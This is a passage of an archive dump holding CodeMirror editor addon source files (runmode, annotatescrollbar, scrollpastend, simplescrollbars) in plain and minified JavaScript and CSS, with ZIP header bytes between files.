l[n+a]},baseToken:function(){}});for(!p.string&&f.blankLine&&f.blankLine(m);!p.eol();){var
q=f.token(p,m);d(p.current(),q,n,p.start,m),p.start=p.pos}}}}));PK9��[K��,�,(codemirror/addon/runmode/runmode.node.jsnu�[���'use
strict';

function copyObj(obj, target, overwrite) {
  if (!target) { target = {}; }
  for (var prop in obj)
    { if (obj.hasOwnProperty(prop) && (overwrite !== false ||
!target.hasOwnProperty(prop)))
      { target[prop] = obj[prop]; } }
  return target
}

// Counts the column offset in a string, taking tabs into account.
// Used mostly to find indentation.
function countColumn(string, end, tabSize, startIndex, startValue) {
  if (end == null) {
    end = string.search(/[^\s\u00a0]/);
    if (end == -1) { end = string.length; }
  }
  for (var i = startIndex || 0, n = startValue || 0;;) {
    var nextTab = string.indexOf("\t", i);
    if (nextTab < 0 || nextTab >= end)
      { return n + (end - i) }
    n += nextTab - i;
    n += tabSize - (n % tabSize);
    i = nextTab + 1;
  }
}

function nothing() {}

function createObj(base, props) {
  var inst;
  if (Object.create) {
    inst = Object.create(base);
  } else {
    nothing.prototype = base;
    inst = new nothing();
  }
  if (props) { copyObj(props, inst); }
  return inst
}

// STRING STREAM

// Fed to the mode parsers, provides helper functions to make
// parsers more succinct.

var StringStream = function(string, tabSize, lineOracle) {
  this.pos = this.start = 0;
  this.string = string;
  this.tabSize = tabSize || 8;
  this.lastColumnPos = this.lastColumnValue = 0;
  this.lineStart = 0;
  this.lineOracle = lineOracle;
};

StringStream.prototype.eol = function () {return this.pos >=
this.string.length};
StringStream.prototype.sol = function () {return this.pos ==
this.lineStart};
StringStream.prototype.peek = function () {return
this.string.charAt(this.pos) || undefined};
StringStream.prototype.next = function () {
  if (this.pos < this.string.length)
    { return this.string.charAt(this.pos++) }
};
StringStream.prototype.eat = function (match) {
  var ch = this.string.charAt(this.pos);
  var ok;
  if (typeof match == "string") { ok = ch == match; }
  else { ok = ch && (match.test ? match.test(ch) : match(ch)); }
  if (ok) {++this.pos; return ch}
};
StringStream.prototype.eatWhile = function (match) {
  var start = this.pos;
  while (this.eat(match)){}
  return this.pos > start
};
StringStream.prototype.eatSpace = function () {
  var start = this.pos;
  while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) { ++this.pos; }
  return this.pos > start
};
StringStream.prototype.skipToEnd = function () {this.pos =
this.string.length;};
StringStream.prototype.skipTo = function (ch) {
  var found = this.string.indexOf(ch, this.pos);
  if (found > -1) {this.pos = found; return true}
};
StringStream.prototype.backUp = function (n) {this.pos -= n;};
StringStream.prototype.column = function () {
  if (this.lastColumnPos < this.start) {
    this.lastColumnValue = countColumn(this.string, this.start,
this.tabSize, this.lastColumnPos, this.lastColumnValue);
    this.lastColumnPos = this.start;
  }
  return this.lastColumnValue - (this.lineStart ? countColumn(this.string,
this.lineStart, this.tabSize) : 0)
};
StringStream.prototype.indentation = function () {
  return countColumn(this.string, null, this.tabSize) -
    (this.lineStart ? countColumn(this.string, this.lineStart,
this.tabSize) : 0)
};
StringStream.prototype.match = function (pattern, consume, caseInsensitive)
{
  if (typeof pattern == "string") {
    var cased = function (str) { return caseInsensitive ? str.toLowerCase()
: str; };
    var substr = this.string.substr(this.pos, pattern.length);
    if (cased(substr) == cased(pattern)) {
      if (consume !== false) { this.pos += pattern.length; }
      return true
    }
  } else {
    var match = this.string.slice(this.pos).match(pattern);
    if (match && match.index > 0) { return null }
    if (match && consume !== false) { this.pos += match[0].length;
}
    return match
  }
};
StringStream.prototype.current = function (){return
this.string.slice(this.start, this.pos)};
StringStream.prototype.hideFirstChars = function (n, inner) {
  this.lineStart += n;
  try { return inner() }
  finally { this.lineStart -= n; }
};
StringStream.prototype.lookAhead = function (n) {
  var oracle = this.lineOracle;
  return oracle && oracle.lookAhead(n)
};
StringStream.prototype.baseToken = function () {
  var oracle = this.lineOracle;
  return oracle && oracle.baseToken(this.pos)
};

// Known modes, by name and by MIME
var modes = {}, mimeModes = {};

// Extra arguments are stored as the mode's dependencies, which is
// used by (legacy) mechanisms like loadmode.js to automatically
// load a mode. (Preferred mechanism is the require/define calls.)
function defineMode(name, mode) {
  if (arguments.length > 2)
    { mode.dependencies = Array.prototype.slice.call(arguments, 2); }
  modes[name] = mode;
}

function defineMIME(mime, spec) {
  mimeModes[mime] = spec;
}

// Given a MIME type, a {name, ...options} config object, or a name
// string, return a mode config object.
function resolveMode(spec) {
  if (typeof spec == "string" &&
mimeModes.hasOwnProperty(spec)) {
    spec = mimeModes[spec];
  } else if (spec && typeof spec.name == "string"
&& mimeModes.hasOwnProperty(spec.name)) {
    var found = mimeModes[spec.name];
    if (typeof found == "string") { found = {name: found}; }
    spec = createObj(found, spec);
    spec.name = found.name;
  } else if (typeof spec == "string" &&
/^[\w\-]+\/[\w\-]+\+xml$/.test(spec)) {
    return resolveMode("application/xml")
  } else if (typeof spec == "string" &&
/^[\w\-]+\/[\w\-]+\+json$/.test(spec)) {
    return resolveMode("application/json")
  }
  if (typeof spec == "string") { return {name: spec} }
  else { return spec || {name: "null"} }
}

// Given a mode spec (anything that resolveMode accepts), find and
// initialize an actual mode object.
function getMode(options, spec) {
  spec = resolveMode(spec);
  var mfactory = modes[spec.name];
  if (!mfactory) { return getMode(options, "text/plain") }
  var modeObj = mfactory(options, spec);
  if (modeExtensions.hasOwnProperty(spec.name)) {
    var exts = modeExtensions[spec.name];
    for (var prop in exts) {
      if (!exts.hasOwnProperty(prop)) { continue }
      if (modeObj.hasOwnProperty(prop)) { modeObj["_" + prop] =
modeObj[prop]; }
      modeObj[prop] = exts[prop];
    }
  }
  modeObj.name = spec.name;
  if (spec.helperType) { modeObj.helperType = spec.helperType; }
  if (spec.modeProps) { for (var prop$1 in spec.modeProps)
    { modeObj[prop$1] = spec.modeProps[prop$1]; } }

  return modeObj
}

// This can be used to attach properties to mode objects from
// outside the actual mode definition.
var modeExtensions = {};
function extendMode(mode, properties) {
  var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] :
(modeExtensions[mode] = {});
  copyObj(properties, exts);
}

function copyState(mode, state) {
  if (state === true) { return state }
  if (mode.copyState) { return mode.copyState(state) }
  var nstate = {};
  for (var n in state) {
    var val = state[n];
    if (val instanceof Array) { val = val.concat([]); }
    nstate[n] = val;
  }
  return nstate
}

// Given a mode and a state (for that mode), find the inner mode and
// state at the position that the state refers to.
function innerMode(mode, state) {
  var info;
  while (mode.innerMode) {
    info = mode.innerMode(state);
    if (!info || info.mode == mode) { break }
    state = info.state;
    mode = info.mode;
  }
  return info || {mode: mode, state: state}
}

function startState(mode, a1, a2) {
  return mode.startState ? mode.startState(a1, a2) : true
}

var modeMethods = ({
  __proto__: null,
  modes: modes,
  mimeModes: mimeModes,
  defineMode: defineMode,
  defineMIME: defineMIME,
  resolveMode: resolveMode,
  getMode: getMode,
  modeExtensions: modeExtensions,
  extendMode: extendMode,
  copyState: copyState,
  innerMode: innerMode,
  startState: startState
});

// Copy StringStream and mode methods into exports (CodeMirror) object.
exports.StringStream = StringStream;
exports.countColumn = countColumn;
for (var exported in modeMethods) { exports[exported] =
modeMethods[exported]; }

// Shim library CodeMirror with the minimal CodeMirror defined above.
require.cache[require.resolve("../../lib/codemirror")] =
require.cache[require.resolve("./runmode.node")];
require.cache[require.resolve("../../addon/runmode/runmode")] =
require.cache[require.resolve("./runmode.node")];

// Minimal default mode.
exports.defineMode("null", function () { return ({token: function
(stream) { return stream.skipToEnd(); }}); });
exports.defineMIME("text/plain", "null");

exports.registerHelper = exports.registerGlobalHelper = Math.min;
exports.splitLines = function(string) { return string.split(/\r?\n|\r/) };

exports.defaults = { indentUnit: 2 };

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    { mod(require("../../lib/codemirror")); }
  else if (typeof define == "function" && define.amd) //
AMD
    { define(["../../lib/codemirror"], mod); }
  else // Plain browser env
    { mod(CodeMirror); }
})(function(CodeMirror) {

CodeMirror.runMode = function(string, modespec, callback, options) {
  var mode = CodeMirror.getMode(CodeMirror.defaults, modespec);
  var tabSize = (options && options.tabSize) ||
CodeMirror.defaults.tabSize;

  // Create a tokenizing callback function if passed-in callback is a DOM
element.
  if (callback.appendChild) {
    var ie = /MSIE \d/.test(navigator.userAgent);
    var ie_lt9 = ie && (document.documentMode == null ||
document.documentMode < 9);
    var node = callback, col = 0;
    node.innerHTML = "";
    callback = function(text, style) {
      if (text == "\n") {
        // Emitting LF or CRLF on IE8 or earlier results in an incorrect
display.
        // Emitting a carriage return makes everything ok.
        node.appendChild(document.createTextNode(ie_lt9 ? '\r' :
text));
        col = 0;
        return;
      }
      var content = "";
      // replace tabs
      for (var pos = 0;;) {
        var idx = text.indexOf("\t", pos);
        if (idx == -1) {
          content += text.slice(pos);
          col += text.length - pos;
          break;
        } else {
          col += idx - pos;
          content += text.slice(pos, idx);
          var size = tabSize - col % tabSize;
          col += size;
          for (var i = 0; i < size; ++i) { content += " "; }
          pos = idx + 1;
        }
      }
      // Create a node with token style and append it to the callback DOM
element.
      if (style) {
        var sp =
node.appendChild(document.createElement("span"));
        sp.className = "cm-" + style.replace(/ +/g, "
cm-");
        sp.appendChild(document.createTextNode(content));
      } else {
        node.appendChild(document.createTextNode(content));
      }
    };
  }

  var lines = CodeMirror.splitLines(string), state = (options &&
options.state) || CodeMirror.startState(mode);
  for (var i = 0, e = lines.length; i < e; ++i) {
    if (i) { callback("\n"); }
    var stream = new CodeMirror.StringStream(lines[i], null, {
      lookAhead: function(n) { return lines[i + n] },
      baseToken: function() {}
    });
    if (!stream.string && mode.blankLine) { mode.blankLine(state);
}
    while (!stream.eol()) {
      var style = mode.token(stream, state);
      callback(stream.current(), style, i, stream.start, state);
      stream.start = stream.pos;
    }
  }
};

});
PK9��[K?gj^^,codemirror/addon/scroll/annotatescrollbar.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineExtension("annotateScrollbar",
function(options) {
    if (typeof options == "string") options = {className:
options};
    return new Annotation(this, options);
  });

  CodeMirror.defineOption("scrollButtonHeight", 0);

  function Annotation(cm, options) {
    this.cm = cm;
    this.options = options;
    this.buttonHeight = options.scrollButtonHeight ||
cm.getOption("scrollButtonHeight");
    this.annotations = [];
    this.doRedraw = this.doUpdate = null;
    this.div =
cm.getWrapperElement().appendChild(document.createElement("div"));
    this.div.style.cssText = "position: absolute; right: 0; top: 0;
z-index: 7; pointer-events: none";
    this.computeScale();

    function scheduleRedraw(delay) {
      clearTimeout(self.doRedraw);
      self.doRedraw = setTimeout(function() { self.redraw(); }, delay);
    }

    var self = this;
    cm.on("refresh", this.resizeHandler = function() {
      clearTimeout(self.doUpdate);
      self.doUpdate = setTimeout(function() {
        if (self.computeScale()) scheduleRedraw(20);
      }, 100);
    });
    cm.on("markerAdded", this.resizeHandler);
    cm.on("markerCleared", this.resizeHandler);
    if (options.listenForChanges !== false)
      cm.on("changes", this.changeHandler = function() {
        scheduleRedraw(250);
      });
  }

  Annotation.prototype.computeScale = function() {
    var cm = this.cm;
    var hScale = (cm.getWrapperElement().clientHeight -
cm.display.barHeight - this.buttonHeight * 2) /
      cm.getScrollerElement().scrollHeight
    if (hScale != this.hScale) {
      this.hScale = hScale;
      return true;
    }
  };

  Annotation.prototype.update = function(annotations) {
    this.annotations = annotations;
    this.redraw();
  };

  Annotation.prototype.redraw = function(compute) {
    if (compute !== false) this.computeScale();
    var cm = this.cm, hScale = this.hScale;

    var frag = document.createDocumentFragment(), anns = this.annotations;

    var wrapping = cm.getOption("lineWrapping");
    var singleLineH = wrapping && cm.defaultTextHeight() * 1.5;
    var curLine = null, curLineObj = null;
    function getY(pos, top) {
      if (curLine != pos.line) {
        curLine = pos.line;
        curLineObj = cm.getLineHandle(curLine);
      }
      if ((curLineObj.widgets && curLineObj.widgets.length) ||
          (wrapping && curLineObj.height > singleLineH))
        return cm.charCoords(pos, "local")[top ? "top"
: "bottom"];
      var topY = cm.heightAtLine(curLineObj, "local");
      return topY + (top ? 0 : curLineObj.height);
    }

    var lastLine = cm.lastLine()
    if (cm.display.barWidth) for (var i = 0, nextTop; i < anns.length;
i++) {
      var ann = anns[i];
      if (ann.to.line > lastLine) continue;
      var top = nextTop || getY(ann.from, true) * hScale;
      var bottom = getY(ann.to, false) * hScale;
      while (i < anns.length - 1) {
        if (anns[i + 1].to.line > lastLine) break;
        nextTop = getY(anns[i + 1].from, true) * hScale;
        if (nextTop > bottom + .9) break;
        ann = anns[++i];
        bottom = getY(ann.to, false) * hScale;
      }
      if (bottom == top) continue;
      var height = Math.max(bottom - top, 3);

      var elt = frag.appendChild(document.createElement("div"));
      elt.style.cssText = "position: absolute; right: 0px; width:
" + Math.max(cm.display.barWidth - 1, 2) + "px; top: "
        + (top + this.buttonHeight) + "px; height: " + height +
"px";
      elt.className = this.options.className;
      if (ann.id) {
        elt.setAttribute("annotation-id", ann.id);
      }
    }
    this.div.textContent = "";
    this.div.appendChild(frag);
  };

  Annotation.prototype.clear = function() {
    this.cm.off("refresh", this.resizeHandler);
    this.cm.off("markerAdded", this.resizeHandler);
    this.cm.off("markerCleared", this.resizeHandler);
    if (this.changeHandler) this.cm.off("changes",
this.changeHandler);
    this.div.parentNode.removeChild(this.div);
  };
});
PK9��[=��>d
d
0codemirror/addon/scroll/annotatescrollbar.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){function
c(a){clearTimeout(d.doRedraw),d.doRedraw=setTimeout((function(){d.redraw()}),a)}this.cm=a,this.options=b,this.buttonHeight=b.scrollButtonHeight||a.getOption("scrollButtonHeight"),this.annotations=[],this.doRedraw=this.doUpdate=null,this.div=a.getWrapperElement().appendChild(document.createElement("div")),this.div.style.cssText="position:
absolute; right: 0; top: 0; z-index: 7; pointer-events:
none",this.computeScale();var
d=this;a.on("refresh",this.resizeHandler=function(){clearTimeout(d.doUpdate),d.doUpdate=setTimeout((function(){d.computeScale()&&c(20)}),100)}),a.on("markerAdded",this.resizeHandler),a.on("markerCleared",this.resizeHandler),!1!==b.listenForChanges&&a.on("changes",this.changeHandler=function(){c(250)})}a.defineExtension("annotateScrollbar",(function(a){return"string"==typeof
a&&(a={className:a}),new
b(this,a)})),a.defineOption("scrollButtonHeight",0),b.prototype.computeScale=function(){var
a=this.cm,b=(a.getWrapperElement().clientHeight-a.display.barHeight-2*this.buttonHeight)/a.getScrollerElement().scrollHeight;if(b!=this.hScale)return
this.hScale=b,!0},b.prototype.update=function(a){this.annotations=a,this.redraw()},b.prototype.redraw=function(a){function
b(a,b){return
i!=a.line&&(i=a.line,j=c.getLineHandle(i)),j.widgets&&j.widgets.length||g&&j.height>h?c.charCoords(a,"local")[b?"top":"bottom"]:c.heightAtLine(j,"local")+(b?0:j.height)}!1!==a&&this.computeScale();var
c=this.cm,d=this.hScale,e=document.createDocumentFragment(),f=this.annotations,g=c.getOption("lineWrapping"),h=g&&1.5*c.defaultTextHeight(),i=null,j=null,k=c.lastLine();if(c.display.barWidth)for(var
l,m=0;m<f.length;m++){var n=f[m];if(!(n.to.line>k)){for(var
o=l||b(n.from,!0)*d,p=b(n.to,!1)*d;m<f.length-1&&!(f[m+1].to.line>k)&&!((l=b(f[m+1].from,!0)*d)>p+.9);)n=f[++m],p=b(n.to,!1)*d;if(p!=o){var
q=Math.max(p-o,3),r=e.appendChild(document.createElement("div"));r.style.cssText="position:
absolute; right: 0px; width:
"+Math.max(c.display.barWidth-1,2)+"px; top:
"+(o+this.buttonHeight)+"px; height:
"+q+"px",r.className=this.options.className,n.id&&r.setAttribute("annotation-id",n.id)}}}this.div.textContent="",this.div.appendChild(e)},b.prototype.clear=function(){this.cm.off("refresh",this.resizeHandler),this.cm.off("markerAdded",this.resizeHandler),this.cm.off("markerCleared",this.resizeHandler),this.changeHandler&&this.cm.off("changes",this.changeHandler),this.div.parentNode.removeChild(this.div)}}));PK9��[��..(codemirror/addon/scroll/scrollpastend.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("scrollPastEnd", false, function(cm,
val, old) {
    if (old && old != CodeMirror.Init) {
      cm.off("change", onChange);
      cm.off("refresh", updateBottomMargin);
      cm.display.lineSpace.parentNode.style.paddingBottom = "";
      cm.state.scrollPastEndPadding = null;
    }
    if (val) {
      cm.on("change", onChange);
      cm.on("refresh", updateBottomMargin);
      updateBottomMargin(cm);
    }
  });

  function onChange(cm, change) {
    if (CodeMirror.changeEnd(change).line == cm.lastLine())
      updateBottomMargin(cm);
  }

  function updateBottomMargin(cm) {
    var padding = "";
    if (cm.lineCount() > 1) {
      var totalH = cm.display.scroller.clientHeight - 30,
          lastLineH = cm.getLineHandle(cm.lastLine()).height;
      padding = (totalH - lastLineH) + "px";
    }
    if (cm.state.scrollPastEndPadding != padding) {
      cm.state.scrollPastEndPadding = padding;
      cm.display.lineSpace.parentNode.style.paddingBottom = padding;
      cm.off("refresh", updateBottomMargin);
      cm.setSize();
      cm.on("refresh", updateBottomMargin);
    }
  }
});
PK9��['c+Z##,codemirror/addon/scroll/scrollpastend.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function
b(b,d){a.changeEnd(d).line==b.lastLine()&&c(b)}function c(a){var
b="";if(a.lineCount()>1){b=a.display.scroller.clientHeight-30-a.getLineHandle(a.lastLine()).height+"px"}a.state.scrollPastEndPadding!=b&&(a.state.scrollPastEndPadding=b,a.display.lineSpace.parentNode.style.paddingBottom=b,a.off("refresh",c),a.setSize(),a.on("refresh",c))}a.defineOption("scrollPastEnd",!1,(function(d,e,f){f&&f!=a.Init&&(d.off("change",b),d.off("refresh",c),d.display.lineSpace.parentNode.style.paddingBottom="",d.state.scrollPastEndPadding=null),e&&(d.on("change",b),d.on("refresh",c),c(d))}))}));PK:��[�T~CC,codemirror/addon/scroll/simplescrollbars.cssnu�[���.CodeMirror-simplescroll-horizontal
div, .CodeMirror-simplescroll-vertical div {
  position: absolute;
  background: #ccc;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  border: 1px solid #bbb;
  border-radius: 2px;
}

.CodeMirror-simplescroll-horizontal, .CodeMirror-simplescroll-vertical {
  position: absolute;
  z-index: 6;
  background: #eee;
}

.CodeMirror-simplescroll-horizontal {
  bottom: 0; left: 0;
  height: 8px;
}
.CodeMirror-simplescroll-horizontal div {
  bottom: 0;
  height: 100%;
}

.CodeMirror-simplescroll-vertical {
  right: 0; top: 0;
  width: 8px;
}
.CodeMirror-simplescroll-vertical div {
  right: 0;
  width: 100%;
}


.CodeMirror-overlayscroll .CodeMirror-scrollbar-filler,
.CodeMirror-overlayscroll .CodeMirror-gutter-filler {
  display: none;
}

.CodeMirror-overlayscroll-horizontal div,
.CodeMirror-overlayscroll-vertical div {
  position: absolute;
  background: #bcd;
  border-radius: 3px;
}

.CodeMirror-overlayscroll-horizontal, .CodeMirror-overlayscroll-vertical {
  position: absolute;
  z-index: 6;
}

.CodeMirror-overlayscroll-horizontal {
  bottom: 0; left: 0;
  height: 6px;
}
.CodeMirror-overlayscroll-horizontal div {
  bottom: 0;
  height: 100%;
}

.CodeMirror-overlayscroll-vertical {
  right: 0; top: 0;
  width: 6px;
}
.CodeMirror-overlayscroll-vertical div {
  right: 0;
  width: 100%;
}
PK<��[K���WW+codemirror/addon/scroll/simplescrollbars.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function Bar(cls, orientation, scroll) {
    this.orientation = orientation;
    this.scroll = scroll;
    this.screen = this.total = this.size = 1;
    this.pos = 0;

    this.node = document.createElement("div");
    this.node.className = cls + "-" + orientation;
    this.inner =
this.node.appendChild(document.createElement("div"));

    var self = this;
    CodeMirror.on(this.inner, "mousedown", function(e) {
      if (e.which != 1) return;
      CodeMirror.e_preventDefault(e);
      var axis = self.orientation == "horizontal" ?
"pageX" : "pageY";
      var start = e[axis], startpos = self.pos;
      function done() {
        CodeMirror.off(document, "mousemove", move);
        CodeMirror.off(document, "mouseup", done);
      }
      function move(e) {
        if (e.which != 1) return done();
        self.moveTo(startpos + (e[axis] - start) * (self.total /
self.size));
      }
      CodeMirror.on(document, "mousemove", move);
      CodeMirror.on(document, "mouseup", done);
    });

    CodeMirror.on(this.node, "click", function(e) {
      CodeMirror.e_preventDefault(e);
      var innerBox = self.inner.getBoundingClientRect(), where;
      if (self.orientation == "horizontal")
        where = e.clientX < innerBox.left ? -1 : e.clientX >
innerBox.right ? 1 : 0;
      else
        where = e.clientY < innerBox.top ? -1 : e.clientY >
innerBox.bottom ? 1 : 0;
      self.moveTo(self.pos + where * self.screen);
    });

    function onWheel(e) {
      var moved = CodeMirror.wheelEventPixels(e)[self.orientation ==
"horizontal" ? "x" : "y"];
      var oldPos = self.pos;
      self.moveTo(self.pos + moved);
      if (self.pos != oldPos) CodeMirror.e_preventDefault(e);
    }
    CodeMirror.on(this.node, "mousewheel", onWheel);
    CodeMirror.on(this.node, "DOMMouseScroll", onWheel);
  }

  Bar.prototype.setPos = function(pos, force) {
    if (pos < 0) pos = 0;
    if (pos > this.total - this.screen) pos = this.total - this.screen;
    if (!force && pos == this.pos) return false;
    this.pos = pos;
    this.inner.style[this.orientation == "horizontal" ?
"left" : "top"] =
      (pos * (this.size / this.total)) + "px";
    return true
  };

  Bar.prototype.moveTo = function(pos) {
    if (this.setPos(pos)) this.scroll(pos, this.orientation);
  }

  var minButtonSize = 10;

  Bar.prototype.update = function(scrollSize, clientSize, barSize) {
    var sizeChanged = this.screen != clientSize || this.total != scrollSize
|| this.size != barSize
    if (sizeChanged) {
      this.screen = clientSize;
      this.total = scrollSize;
      this.size = barSize;
    }

    var buttonSize = this.screen * (this.size / this.total);
    if (buttonSize < minButtonSize) {
      this.size -= minButtonSize - buttonSize;
      buttonSize = minButtonSize;
    }
    this.inner.style[this.orientation == "horizontal" ?
"width" : "height"] =
      buttonSize + "px";
    this.setPos(this.pos, sizeChanged);
  };

  function SimpleScrollbars(cls, place, scroll) {
    this.addClass = cls;
    this.horiz = new Bar(cls, "horizontal", scroll);
    place(this.horiz.node);
    this.vert = new Bar(cls, "vertical", scroll);
    place(this.vert.node);
    this.width = null;
  }

  SimpleScrollbars.prototype.update = function(measure) {
    if (this.width == null) {
      var style = window.getComputedStyle ?
window.getComputedStyle(this.horiz.node) : this.horiz.node.currentStyle;
      if (style) this.width = parseInt(style.height);
    }
    var width = this.width || 0;

    var needsH = measure.scrollWidth > measure.clientWidth + 1;
    var needsV = measure.scrollHeight > measure.clientHeight + 1;
    this.vert.node.style.display = needsV ? "block" :
"none";
    this.horiz.node.style.display = needsH ? "block" :
"none";

    if (needsV) {
      this.vert.update(measure.scrollHeight, measure.clientHeight,
                       measure.viewHeight - (needsH ? width : 0));
      this.vert.node.style.bottom = needsH ? width + "px" :
"0";
    }
    if (needsH) {
      this.horiz.update(measure.scrollWidth, measure.clientWidth,
                        measure.viewWidth - (needsV ? width : 0) -
measure.barLeft);
      this.horiz.node.style.right = needsV ? width + "px" :
"0";
      this.horiz.node.style.left = measure.barLeft + "px";
    }

    return {right: needsV ? width : 0, bottom: needsH ? width : 0};
  };

  SimpleScrollbars.prototype.setScrollTop = function(pos) {
    this.vert.setPos(pos);
  };

  SimpleScrollbars.prototype.setScrollLeft = function(pos) {
    this.horiz.setPos(pos);
  };

  SimpleScrollbars.prototype.clear = function() {
    var parent = this.horiz.node.parentNode;
    parent.removeChild(this.horiz.node);
    parent.removeChild(this.vert.node);
  };

  CodeMirror.scrollbarModel.simple = function(place, scroll) {
    return new SimpleScrollbars("CodeMirror-simplescroll", place,
scroll);
  };
  CodeMirror.scrollbarModel.overlay = function(place, scroll) {
    return new SimpleScrollbars("CodeMirror-overlayscroll",
place, scroll);
  };
});
PK<��[�(�}}0codemirror/addon/scroll/simplescrollbars.min.cssnu�[���.CodeMirror-simplescroll-horizontal
div,.CodeMirror-simplescroll-vertical
div{position:absolute;background:#ccc;-moz-box-sizing:border-box;box-sizing:border-box;border:1px
solid
#bbb;border-radius:2px}.CodeMirror-simplescroll-horizontal,.CodeMirror-simplescroll-vertical{position:absolute;z-index:6;background:#eee}.CodeMirror-simplescroll-horizontal{bottom:0;left:0;height:8px}.CodeMirror-simplescroll-horizontal
div{bottom:0;height:100%}.CodeMirror-simplescroll-vertical{right:0;top:0;width:8px}.CodeMirror-simplescroll-vertical
div{right:0;width:100%}.CodeMirror-overlayscroll
.CodeMirror-gutter-filler,.CodeMirror-overlayscroll
.CodeMirror-scrollbar-filler{display:none}.CodeMirror-overlayscroll-horizontal
div,.CodeMirror-overlayscroll-vertical
div{position:absolute;background:#bcd;border-radius:3px}.CodeMirror-overlayscroll-horizontal,.CodeMirror-overlayscroll-vertical{position:absolute;z-index:6}.CodeMirror-overlayscroll-horizontal{bottom:0;left:0;height:6px}.CodeMirror-overlayscroll-horizontal
div{bottom:0;height:100%}.CodeMirror-overlayscroll-vertical{right:0;top:0;width:6px}.CodeMirror-overlayscroll-vertical
div{right:0;width:100%}PKA��[�d��$$/codemirror/addon/scroll/simplescrollbars.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(b,c,d){function e(b){var
c=a.wheelEventPixels(b)["horizontal"==f.orientation?"x":"y"],d=f.pos;f.moveTo(f.pos+c),f.pos!=d&&a.e_preventDefault(b)}this.orientation=c,this.scroll=d,this.screen=this.total=this.size=1,this.pos=0,this.node=document.createElement("div"),this.node.className=b+"-"+c,this.inner=this.node.appendChild(document.createElement("div"));var
f=this;a.on(this.inner,"mousedown",(function(b){function
c(){a.off(document,"mousemove",d),a.off(document,"mouseup",c)}function
d(a){if(1!=a.which)return
c();f.moveTo(h+(a[e]-g)*(f.total/f.size))}if(1==b.which){a.e_preventDefault(b);var
e="horizontal"==f.orientation?"pageX":"pageY",g=b[e],h=f.pos;a.on(document,"mousemove",d),a.on(document,"mouseup",c)}})),a.on(this.node,"click",(function(b){a.e_preventDefault(b);var
c,d=f.inner.getBoundingClientRect();c="horizontal"==f.orientation?b.clientX<d.left?-1:b.clientX>d.right?1:0:b.clientY<d.top?-1:b.clientY>d.bottom?1:0,f.moveTo(f.pos+c*f.screen)})),a.on(this.node,"mousewheel",e),a.on(this.node,"DOMMouseScroll",e)}function
c(a,c,d){this.addClass=a,this.horiz=new
b(a,"horizontal",d),c(this.horiz.node),this.vert=new
b(a,"vertical",d),c(this.vert.node),this.width=null}b.prototype.setPos=function(a,b){return
a<0&&(a=0),a>this.total-this.screen&&(a=this.total-this.screen),!(!b&&a==this.pos)&&(this.pos=a,this.inner.style["horizontal"==this.orientation?"left":"top"]=a*(this.size/this.total)+"px",!0)},b.prototype.moveTo=function(a){this.setPos(a)&&this.scroll(a,this.orientation)};b.prototype.update=function(a,b,c){var
d=this.screen!=b||this.total!=a||this.size!=c;d&&(this.screen=b,this.total=a,this.size=c);var
e=this.screen*(this.size/this.total);e<10&&(this.size-=10-e,e=10),this.inner.style["horizontal"==this.orientation?"width":"height"]=e+"px",this.setPos(this.pos,d)},c.prototype.update=function(a){if(null==this.width){var
b=window.getComputedStyle?window.getComputedStyle(this.horiz.node):this.horiz.node.currentStyle;b&&(this.width=parseInt(b.height))}var
c=this.width||0,d=a.scrollWidth>a.clientWidth+1,e=a.scrollHeight>a.clientHeight+1;return
this.vert.node.style.display=e?"block":"none",this.horiz.node.style.display=d?"block":"none",e&&(this.vert.update(a.scrollHeight,a.clientHeight,a.viewHeight-(d?c:0)),this.vert.node.style.bottom=d?c+"px":"0"),d&&(this.horiz.update(a.scrollWidth,a.clientWidth,a.viewWidth-(e?c:0)-a.barLeft),this.horiz.node.style.right=e?c+"px":"0",this.horiz.node.style.left=a.barLeft+"px"),{right:e?c:0,bottom:d?c:0}},c.prototype.setScrollTop=function(a){this.vert.setPos(a)},c.prototype.setScrollLeft=function(a){this.horiz.setPos(a)},c.prototype.clear=function(){var
a=this.horiz.node.parentNode;a.removeChild(this.horiz.node),a.removeChild(this.vert.node)},a.scrollbarModel.simple=function(a,b){return
new
c("CodeMirror-simplescroll",a,b)},a.scrollbarModel.overlay=function(a,b){return
new
c("CodeMirror-overlayscroll",a,b)}}));PKA��[��h���'codemirror/addon/search/jump-to-line.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
